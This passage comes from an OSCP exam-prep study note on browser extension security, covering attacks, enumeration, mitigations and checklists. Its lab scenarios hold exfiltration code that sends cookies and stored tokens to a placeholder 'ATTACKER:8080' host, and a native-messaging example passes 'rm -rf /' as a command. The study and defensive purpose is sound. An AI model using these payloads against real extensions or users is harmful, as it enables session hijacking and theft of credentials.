(request, sender, sendResponse) => {
// sender.id is the extension ID
// sender.origin is the page origin
// No validation performed!
if (request.action === 'getData') {
chrome.storage.local.get(request.key, (data) => {
sendResponse(data); // Send data to ANY requester!
});
return true; // Async
}
}
);
Exploitation by Another Extension
// Malicious extension sends message to vulnerable extension
chrome.runtime.sendMessage('VULNERABLE_EXTENSION_ID', {
action: 'getData',
key: 'authToken'
}, (response) => {
console.log('Stolen data:', response);
exfiltrate(response);
});
Mitigation
// SAFE - Validate sender
const ALLOWED_EXTENSIONS = [
'trusted_extension_id_1',
'trusted_extension_id_2'
];
chrome.runtime.onMessageExternal.addListener(
(request, sender, sendResponse) => {
// Validate sender extension ID
if (!ALLOWED_EXTENSIONS.includes(sender.id)) {
console.warn('Rejected message from unauthorized extension:', sender.id);
return false;
}
// Process request
if (request.action === 'getData') {
// ...
}
}
);
7. Advanced Attack Techniques
7.1 Extension Takeover via Supply Chain
Attack Flow:
1. Compromise legitimate extension developer account
2. Update extension with malicious code
3. Auto-update delivers to all users
4. Malicious code executes with extension privileges
7.2 DOM Clobbering in Extension Pages
<!-- If extension page renders user-controlled HTML -->
<!-- Attacker input: -->
<a id="config">
<a id="config"><a id="apiKey">secret</a>
<!-- Extension code: -->
<script>
// DOM Clobbering - config.apiKey now exists!
const key = config.apiKey; // 'secret' instead of undefined
</script>
7.3 JSONP Abuse in Extensions
// If extension uses JSONP without callback validation
// Vulnerable code:
const callback = urlParams.get('callback');
const script = document.createElement('script');
script.src = `https://api.example.com/data?callback=${callback}`;
document.head.appendChild(script);
// Exploitation:
// ?callback=stealData
// Define global function:
window.stealData = (data) => {
exfiltrate(data);
};
7.4 Service Worker Exploitation (MV3)
// MV3 uses service workers instead of background pages
// Service workers have limited lifecycle but can still be exploited
// If service worker has XSS:
self.addEventListener('message', (event) => {
// VULNERABLE - processing untrusted data
if (event.data.action === 'fetch') {
fetch(event.data.url)
.then(r => r.text())
.then(data => {
// Data leakage through response
event.source.postMessage({result: data});
});
}
});
7.5 Native Messaging Abuse
// manifest.json
{
"permissions": ["nativeMessaging"],
"nativeMessagingHosts": [
"com.example.nativeapp"
]
}
// If native host has vulnerabilities, extension can trigger them
const port = chrome.runtime.connectNative('com.example.nativeapp');
port.postMessage({
command: 'exec',
args: ['rm', '-rf', '/'] // If native host doesn't validate!
});
8. Detection and Enumeration
8.1 Manual Enumeration Checklist
Extension Enumeration Checklist:
□ List all installed extensions
□ Check extension permissions
□ Review manifest.json
□ Audit content scripts
□ Check background scripts
□ Review popup/options pages
□ Check web_accessible_resources
□ Audit postMessage handlers
□ Check storage usage
□ Review CSP configuration
□ Check for native messaging
□ Test extension update mechanism
8.2 Automated Detection Scripts
// Console script to enumerate extensions
(function() {
const results = {
extensions: [],
injectedScripts: [],
injectedStyles: [],
globalVariables: []
};
// Find extension-injected scripts
document.querySelectorAll('script').forEach(script => {
if (script.src && script.src.includes('chrome-extension://')) {
results.injectedScripts.push(script.src);
}
});
// Find extension-injected styles
document.querySelectorAll('link[rel="stylesheet"]').forEach(link => {
if (link.href && link.href.includes('chrome-extension://')) {
results.injectedStyles.push(link.href);
}
});
// Find extension globals (common patterns)
const extensionPatterns = ['_extension', 'Extension', 'extension_'];
for (const key in window) {
if (extensionPatterns.some(p => key.includes(p))) {
results.globalVariables.push(key);
}
}
console.log('Extension Analysis:', JSON.stringify(results, null, 2));
return results;
})();
8.3 Browser DevTools Techniques
1. chrome://extensions/
- View all installed extensions
- Check permissions
- Enable Developer Mode for source access
2. Application Tab → Extensions
- View extension storage
- Check cookies set by extensions
- View indexedDB data
3. Network Tab
- Filter by extension requests
- Monitor extension API calls
4. Sources Tab
- View extension source code (Developer Mode)
- Set breakpoints in extension scripts
8.4 Security Testing Tools
| Tool | Purpose | Usage |
|---|---|---|
| XVulf | Extension vulnerability scanner | Automated analysis |
| ExtSweep | Extension security audit | Permission analysis |
| Burp Suite | Traffic interception | Extension API testing |
| Browser DevTools | Manual analysis | Source code review |
| Custom Scripts | Targeted testing | postMessage fuzzing |
9. Mitigation Strategies
9.1 Secure Extension Development Checklist
Development Security Checklist:
□ Minimize permissions requested
□ Validate all input (even internal)
□ Implement origin checks for postMessage
□ Use 'self' CSP, avoid 'unsafe-eval'
□ Encrypt sensitive stored data
□ Validate URLs before navigation
□ Restrict web_accessible_resources
□ Implement message authentication
□ Use MV3 where possible
□ Regular security audits
□ Implement secure update mechanism
□ Log security events
9.2 Secure Code Patterns
Input Validation
// SAFE - Comprehensive input validation
function validateInput(input, type) {
const validators = {
url: (val) => {
try {
const url = new URL(val);
return ['http:', 'https:'].includes(url.protocol);
} catch {
return false;
}
},
email: (val) => /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(val),
integer: (val) => Number.isInteger(Number(val)),
alphanumeric: (val) => /^[a-zA-Z0-9]+$/.test(val)
};
return validators[type]?.(input) ?? false;
}
Secure Message Handling
// SAFE - Secure message handler
class SecureMessageHandler {
constructor(allowedOrigins = []) {
this.allowedOrigins = allowedOrigins;
this.messageHandlers = new Map();
}
registerHandler(action, handler) {
this.messageHandlers.set(action, handler);
}
handleMessage(event) {
// Origin validation
if (!this.allowedOrigins.includes(event.origin)) {
console.warn('Blocked message from origin:', event.origin);
return;
}
// Message structure validation
if (!event.data || typeof event.data.action !== 'string') {
return;
}
// Action validation
const handler = this.messageHandlers.get(event.data.action);
if (!handler) {
console.warn('Unknown action:', event.data.action);
return;
}
// Execute handler with sanitized data
try {
handler(event.data, event);
} catch (error) {
console.error('Message handler error:', error);
}
}
}
// Usage
const handler = new SecureMessageHandler(['chrome-extension://YOUR_EXT_ID']);
handler.registerHandler('getData', (data, event) => {
// Process securely
});
window.addEventListener('message', (e) => handler.handleMessage(e));
Secure Storage
// SAFE - Encrypted storage wrapper
class SecureStorage {
constructor(encryptionKey) {
this.key = encryptionKey;
}
async set(key, value) {
const encrypted = await this.encrypt(JSON.stringify(value));
await chrome.storage.local.set({[key]: encrypted});
}
async get(key) {
const data = await chrome.storage.local.get(key);
if (!data[key]) return null;
const decrypted = await this.decrypt(data[key]);
return JSON.parse(decrypted);
}
async encrypt(text) {
const encoder = new TextEncoder();
const data = encoder.encode(text);
const iv = crypto.getRandomValues(new Uint8Array(12));
const key = await this.getKey();
const encrypted = await crypto.subtle.encrypt(
{name: 'AES-GCM', iv},
key,
data
);
return btoa(String.fromCharCode(...iv, ...new Uint8Array(encrypted)));
}
async decrypt(b64) {
const bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0));
const iv = bytes.slice(0, 12);
const data = bytes.slice(12);
const key = await this.getKey();
const decrypted = await crypto.subtle.decrypt(
{name: 'AES-GCM', iv},
key,
data
);
return new TextDecoder().decode(decrypted);
}
async getKey() {
// Derive key from password or use Web Crypto key storage
// Implementation depends on key management strategy
}
}
9.3 Manifest Best Practices
{
"manifest_version": 3,
"name": "Secure Extension",
"version": "1.0.0",
"description": "Extension with security best practices",
"permissions": [
"storage" // Minimal permissions
],
"host_permissions": [
"https://api.trusted-domain.com/*" // Specific hosts
],
"content_security_policy": {
"extension_pages": "script-src 'self'; object-src 'self';",
"sandbox": "sandbox allow-scripts; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
},
"web_accessible_resources": [
{
"resources": ["public/widget.html"],
"matches": ["https://trusted-domain.com/*"]
}
],
"background": {
"service_worker": "background.js"
},
"action": {
"default_popup": "popup.html",
"default_icon": "icon.png"
},
"options_page": "options.html",
"icons": {
"16": "icon16.png",
"48": "icon48.png",
"128": "icon128.png"
}
}
10. OSCP-Specific Tips and Lab Scenarios
10.1 OSCP Exam Relevance
Browser extension vulnerabilities are indirectly tested in OSCP through:
- CSP Bypass - Extensions can bypass CSP, enabling XSS exploitation
- Privilege Escalation - Abusing extension permissions for access
- Client-Side Attack Chains - Combining extension vulns with other vectors
- Post-Exploitation - Using extensions for persistence and data theft
10.2 Common Lab Scenarios
Scenario 1: CSP Bypass via Extension
Challenge:
- Target has strict CSP: script-src 'self'
- Extension installed with content script injection capability
- Extension has vulnerable postMessage handler
Solution Steps:
1. Find XSS vector on target page
2. Identify extension via DevTools
3. Send malicious message to extension via postMessage
4. Extension injects script into page (bypassing CSP)
5. Execute payload to get shell
Exploitation Code:
// Step 1-2: Find XSS and identify extension
// XSS payload:
<script>
// Step 3: Communicate with extension
window.postMessage({
type: 'inject',
code: 'new Image().src="http://ATTACKER:8080/?cookie="+document.cookie'
}, '*');
</script>
Scenario 2: Extension Storage Theft
Challenge:
- Extension stores API tokens in chrome.storage.local
- Extension has XSS vulnerability in options page
- Need to steal tokens for API abuse
Solution Steps:
1. Craft XSS payload for options page URL
2. Phish user or use open redirect to deliver
3. XSS reads chrome.storage.local
4. Exfiltrate tokens
5. Use tokens for API access
Exploitation Code:
// XSS in options page
chrome.storage.local.get(null, (data) => {
// Exfiltrate all stored data
const xhr = new XMLHttpRequest();
xhr.open('POST', 'http://ATTACKER:8080/steal', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify(data));
});
Scenario 3: Cookie Theft via Extension
Challenge:
- Target site has HttpOnly cookies (can't steal via XSS directly)
- Extension has 'cookies' permission
- Extension has vulnerable message handler
Solution Steps:
1. Find way to communicate with extension
2. Request cookies via extension API
3. Extension returns HttpOnly cookies
4. Use cookies for session hijacking
Exploitation Code:
// Communicate with extension
window.postMessage({
action: 'getCookies',
domain: 'target.com'
}, '*');
// Receive and use cookies
window.addEventListener('message', (e) => {
if (e.data.cookies) {
// Send cookies to attacker
fetch('http://ATTACKER:8080/cookies', {
method: 'POST',
body: JSON.stringify(e.data.cookies)
});
// Or use cookies directly
e.data.cookies.forEach(cookie => {
document.cookie = `${cookie.name}=${cookie.value}; domain=${cookie.domain}`;
});
}
});
10.3 OSCP Tips
┌─────────────────────────────────────────────────────────────┐
│ OSCP Browser Extension Tips │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. Always check for installed extensions in DevTools │
│ │
│ 2. Look for extension-injected scripts in page source │
│ │
│ 3. Check chrome://extensions/ for permission details │
│ │
│ 4. Test postMessage communication with extensions │
│ │
│ 5. Extension URLs (chrome-extension://) can be targets │
│ │
│ 6. CSP bypass is the most common exam use case │
│ │
│ 7. Check web_accessible_resources for abuse potential │
│ │
│ 8. Extension storage may contain sensitive data │
│ │
│ 9. Content scripts run in isolated world but can inject │
│ scripts into page context │
│ │
│ 10. MV3 extensions have different attack surface than MV2 │
│ │
└─────────────────────────────────────────────────────────────┘
10.4 Quick Reference Commands
# View extension source (Developer Mode enabled)
# Click "Service Worker" or "Background page" in chrome://extensions/
# Check extension storage
# Application Tab → Extensions → chrome-extension://EXT_ID/
# Find extension ID
# chrome://extensions/ → Enable Developer Mode → View ID
# Test postMessage from console
window.postMessage({test: 'probe'}, '*');
# Monitor extension messages
# Sources Tab → Overrides → Set up for extension pages
11. Checklist and Quick Reference
11.1 Vulnerability Checklist
Browser Extension Security Checklist:
Manifest Review:
□ permissions minimized?
□ host_permissions specific?
□ CSP without 'unsafe-eval'?
□ web_accessible_resources restricted?
□ MV3 used where possible?
Code Review:
□ Input validation on all inputs?
□ Origin checks on postMessage?
□ No eval() or equivalent?
□ URLs validated before use?
□ Storage encrypted for sensitive data?
□ No sensitive data in sync storage?
Communication Review:
□ postMessage origin validated?
□ chrome.runtime.sendMessage validated?
□ No wildcard target origins?
□ Message structure validated?
□ External message senders validated?
Storage Review:
□ Sensitive data encrypted?
□ No credentials in plaintext?
□ Sync storage used only for non-sensitive data?
□ Regular cleanup of unused data?
11.2 Vulnerability Severity Matrix
| Vulnerability | Likelihood | Impact | Severity |
|---|---|---|---|
| XSS in extension pages | High | Critical | CRITICAL |
| Missing postMessage origin check | High | High | HIGH |
| Insecure storage | Medium | High | HIGH |
| Excessive permissions | Medium | Medium | MEDIUM |
| Open redirect | High | Medium | MEDIUM |
| Web-accessible resources | Medium | Medium | MEDIUM |
| unsafe-eval in CSP | Low | Critical | HIGH |
| Missing sender validation | Medium | High | HIGH |
11.3 Attack Vector Summary
Extension Attack Vectors:
External Attack → Extension:
├── XSS on target page → postMessage → Extension
├── Phishing → Extension URL with XSS payload
├── Open Redirect → Extension page with XSS
└── Malicious website → Extension communication
Extension → Internal Abuse:
├── Cookie theft (cookies permission)
├── Storage exfiltration (storage permission)
├── Tab monitoring (tabs permission)
├── Request interception (webRequest permission)
└── Script injection (content scripts)
Extension → External Exfiltration:
├── HTTP requests to attacker server
├── Image beacon exfiltration
├── DNS exfiltration
└── WebSocket connections
11.4 Key Takeaways for OSCP
- Extensions bypass CSP - This is the most important concept for the exam
- postMessage is a bridge - Any page can communicate with extension content scripts
- Permissions are power - Extensions with broad permissions are high-value targets
- Storage is plaintext - chrome.storage does not encrypt by default
- Origin validation is critical - Missing origin checks enable cross-origin attacks
- Content scripts are isolated - But they can inject into page context
- Manifest defines attack surface - Review manifest first when assessing extensions
References and Further Reading
- Chrome Extension Documentation
- Extension Security Best Practices
- Content Security Policy
- OWASP Extension Security
- Chrome Extension Vulnerability Research
This study note is part of the OSCP Client-Side Attacks chapter preparation materials. Last updated: 2026-09-01